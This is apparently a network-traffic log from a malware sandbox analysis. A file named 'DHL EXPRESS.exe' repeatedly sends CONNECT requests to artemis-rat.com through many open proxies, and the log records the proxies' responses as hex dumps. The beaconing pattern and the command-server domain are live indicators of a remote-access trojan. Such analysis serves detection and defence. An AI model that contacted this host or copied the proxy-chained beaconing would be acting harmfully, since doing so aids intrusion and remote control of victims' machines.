Mar 11, 2024 18:36:54.529609919 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1770	192.168.2.8	55126	43.153.174.4	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.371181011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1771	192.168.2.8	55127	140.84.176.246	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.371701002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1772	192.168.2.8	55129	140.84.176.246	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.376017094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1773	192.168.2.8	55128	43.153.174.4	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.376018047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1774	192.168.2.8	54255	72.49.49.11	31034	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.380086899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1775	192.168.2.8	55077	158.255.215.50	9005	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.396537066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.691437960 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1776	192.168.2.8	55022	223.113.80.158	9091	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.402640104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.860313892 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 17:36:57 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1777	192.168.2.8	54556	117.160.250.163	8828	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.419554949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.680092096 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 17:36:55 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1778	192.168.2.8	51557	176.192.65.34	5020	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.521404028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1779	192.168.2.8	51674	201.77.108.196	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.523459911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.647941113 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1780	192.168.2.8	51583	165.16.59.225	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.524621010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.988967896 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1781	192.168.2.8	51414	41.60.26.210	32650	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.528606892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.597239017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.952831984 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1782	192.168.2.8	53932	107.181.168.145	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.530472994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1783	192.168.2.8	55080	103.216.49.233	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.530477047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1784	192.168.2.8	55136	104.16.108.204	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.542217970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.696260929 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1785	192.168.2.8	55151	185.162.228.128	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.659205914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.814058065 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1786	192.168.2.8	55093	152.67.10.190	8100	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.661007881 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1787	192.168.2.8	53920	119.3.215.41	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.751045942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1788	192.168.2.8	55133	104.129.206.65	8800	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.758899927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.964751005 CET	125	IN	HTTP/1.1 407 Unauthorized Server: Zscaler/6.2 Cache-control: no-cache Content-Length: 0 Proxy-Authenticate: Negotiate

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1789	192.168.2.8	55085	102.132.201.202	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.759094000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1790	192.168.2.8	55138	187.188.169.169	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.761887074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.456301928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.261665106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.675401926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.269058943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.000150919 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1791	192.168.2.8	54512	201.91.82.155	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.761996031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.113439083 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 18:37:59.311853886 CET	208	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 718 Content-Type: text/html Date: Mon, 11 Mar 2024 17:34:53 GMT Expires: Mon, 11 Mar 2024 17:34:53 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1792	192.168.2.8	55100	94.177.106.178	2324	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.774189949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1793	192.168.2.8	55161	67.43.227.226	28847	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.774348974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:21.394459009 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1794	192.168.2.8	55139	192.111.130.5	17002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.775439978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1795	192.168.2.8	51647	124.158.186.254	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.777554035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.862763882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.956902027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.066013098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:08.711216927 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1796	192.168.2.8	55177	92.204.135.37	16591	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.786539078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1797	192.168.2.8	54520	187.40.1.122	128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.786567926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.821330070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.909755945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.339716911 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:37:03.485066891 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:37:37.843440056 CET	1286	IN	HTTP/1.1 500 Internal Server Error Server: squid/5.2 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:37:37 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17038 X-Squid-Error: ERR_CANNOT_FORWARD 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 39 66 39 66 39 20 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 53 65 67 6f 65 2c 20 27 53 65 67 6f 65 20 55 49 27 2c 20 27 44 65 6a 61 56 75 20 53 61 6e 73 27 2c 20 27 54 72 65 62 75 63 68 65 74 20 4d 53 27 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 41 76 69 73 6f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 27 20 6e 61 6d 65 3d 27 76 69 65 77 70 6f 72 74 27 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 63 37 63 61 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 68 65 69 67 68 74 3a 20 31 30 30 25 3b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 72 65 74 69 63 65 6e 63 69 61 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 20 65 6c 6c 69 70 73 69 73 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 39 36 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 43 41 4e 4e 4f 54 5f 46 4f 52 57 41 52 44 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 20 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 20 73 74 79 6c 65 3d 22 6d 69 6e 2d 77 69 64 74 68 3a 35 30 30 70 78 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 73 2d 38 22 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 35 30 70 78 3b 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 0a 3c 69 6d 67 20 63 6c 61 73 73 3d 22 64 65 6e 79 5f 6c 6f 67 